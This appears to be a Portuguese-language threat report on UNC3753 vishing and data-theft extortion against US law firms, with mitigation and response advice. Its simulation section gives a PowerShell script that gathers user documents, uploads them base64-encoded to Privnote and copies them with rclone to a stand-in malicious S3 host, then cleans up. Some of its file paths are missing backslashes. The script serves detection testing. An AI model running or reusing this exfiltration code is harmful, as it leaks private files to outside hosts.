Buscando Conselho: Ataques Direcionados Continuados Contra Escritórios de Advocacia dos EUA

Resumo

Um cluster de ameaças com motivação financeira rastreado como UNC3753 está executando campanhas de vishing que enganam as vítimas para instalar software de monitoramento e gerenciamento remoto. Uma vez estabelecido o acesso, os invasores roubam informações confidenciais legais e financeiras e depois extorquem a organização vítima ameaçando expor publicamente. A campanha é focada em empresas de serviços profissionais dos EUA, em particular escritórios de advocacia, e pode envolver tanto roubo de dados cibernéticos quanto físicos.

Investigação

A Mandiant observou o ciclo completo de intrusão, desde a chamada inicial de phishing por voz até o roubo de dados e extorsão, às vezes dentro de um único dia útil. As vítimas foram convencidas a usar ferramentas de compartilhamento de tela e software de RMM, como AnyDesk, Bomgar ou um instalador personalizado SuperOps entregue com um comando curl. A exfiltração de dados foi realizada usando ferramentas como WinSCP, Rclone ou uploads diretos para contas de armazenamento em nuvem de consumidores.

Mitigação

As organizações devem treinar funcionários para reconhecer tentativas de vishing, impor procedimentos de verificação rigorosos para qualquer solicitação de suporte remoto e bloquear ferramentas de RMM e compartilhamento de tela não autorizadas. Desativar mídias removíveis, monitorar transferências externas incomuns para armazenamento em nuvem ou destinos FTP, aplicar controles de acesso condicional ao VDI e impor MFA em repositórios de documentos críticos pode reduzir ainda mais o risco.

Resposta

Se esta atividade for detectada, isole o endpoint afetado imediatamente, termine quaisquer sessões remotas não autorizadas e remova os binários RMM instalados. Os investigadores devem coletar o histórico de linha de comando, alterações no registro e artefatos de tarefas agendadas para revisão forense. Credenciais comprometidas devem ser redefinidas, a exfiltração de dados deve ser avaliada e o envolvimento das autoridades pode ser considerado se a extorsão tiver começado.

Execução da Simulação

Pré-requisito: O Cheque de Pré-voo de Telemetria & Base deve ter sido aprovado.

Justificativa: Esta seção detalha a execução precisa da técnica adversária (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente as TTPs identificadas e visam gerar a telemetria exata esperada pela lógica de detecção. Exemplos abstratos ou não relacionados levarão a diagnósticos incorretos.

• Narrativa do Ataque & Comandos:

  1. Recon & Preparação de Dados (T1005, T1083):
     O adversário enumera diretórios de usuários e copia todos os *.docx and *.xlsx arquivos para uma pasta de preparação C:TempStagedData.

  2. Upload via Privnote (T1567.002):
     Usando PowerShell, o invasor lê cada arquivo, codifica em base‑64 o conteúdo, e o envia para https://privnote.com/api/note. A linha de comando inclui a URL, que satisfaz a condição selection_privnote .

  3. Transferência com Rclone (T1020):
     O invasor executa rclone.exe (baixado em tempo real) para enviar os arquivos preparados para um bucket S3 malicioso. O nome do processo “rclone.exe” corresponde a selection_tool.

  4. Limpeza: Exclua a pasta de preparação e quaisquer binários residuais.

• Script de Teste de Regressão: (PowerShell – auto‑contido, sem dependências externas além de Invoke-WebRequest.)

  # -------------------------------------------------
  # Simulação de Exfiltração UNC3753 – PowerShell
  # -------------------------------------------------
  # 1. Preparar diretório de preparação
  $staging = "$env:USERPROFILETempStagedData"
  New-Item -ItemType Directory -Force -Path $staging | Out-Null
  
  # 2. Copiar dados de amostra (simular coleta de dados)
  Get-ChildItem -Path "$env:USERPROFILEDocuments" -Include *.docx, *.xlsx -Recurse -ErrorAction SilentlyContinue |
      ForEach-Object { Copy-Item -Path $_.FullName -Destination $staging -Force }
  
  # 3. Carregar cada arquivo para o Privnote (exfiltração via web-serviço)
  $privnoteUrl = "https://privnote.com/api/note"
  Get-ChildItem -Path $staging -File | ForEach-Object {
      $content = [Convert]::ToBase64String([IO.File]::ReadAllBytes($_.FullName))
      $body = @{ text = $content }
      # A URL aparece na linha de comando -> ativa selection_privnote
      Invoke-WebRequest -Uri $privnoteUrl -Method POST -Body $body -UseBasicParsing | Out-Null
  }
  
  # 4. Baixar Rclone (se não presente) e exfiltrar via S3
  $rcloneExe = "$env:TEMPrclone.exe"
  if (-not (Test-Path $rcloneExe)) {
      Invoke-WebRequest -Uri "https://downloads.rclone.org/rclone-current-windows-amd64.zip" -OutFile "$env:TEMPrclone.zip"
      Expand-Archive -Path "$env:TEMPrclone.zip" -DestinationPath $env:TEMP -Force
      Move-Item -Path (Get-ChildItem "$env:TEMPrclone-*-windows-amd64rclone.exe").FullName -Destination $rcloneExe -Force
  }
  
  # Configurar um bucket S3 remoto (malicioso) – a configuração é escrita em um arquivo temporário
  $rcloneConfig = @"
  [malicious
  type = s3
  provider = AWS
  access_key_id = AKIAFAKEKEY
  secret_access_key = fakeSecretKey123
  region = us-east-1
  endpoint = https://malicious-s3.example.com
  "@
  $configPath = "$env:TEMPrclone.conf"
  $rcloneConfig | Set-Content -Path $configPath -Encoding ASCII
  
  # Executar rclone copy – nome do processo "rclone.exe" ativa selection_tool
  & $rcloneExe copy $staging "malicious:exfil" --config $configPath --log-level INFO
  
  # 5. Limpeza
  Remove-Item -Recurse -Force $staging
  Remove-Item -Force $rcloneExe, $configPath

• Comandos de Limpeza:

  # Encerrar quaisquer processos remanescentes de WinSCP ou Rclone
  Get-Process -Name WinSCP, rclone -ErrorAction SilentlyContinue | Stop-Process -Force
  
  # Excluir arquivos temporários deixados para trás (se houver)
  Remove-Item -Path "$env:TEMPWinSCP.exe","$env:TEMPWinSCP.zip","$env:TEMPrclone.zip","$env:TEMPrclone-*-windows-amd64" -Recurse -Force -ErrorAction SilentlyContinue

Fim do Relatório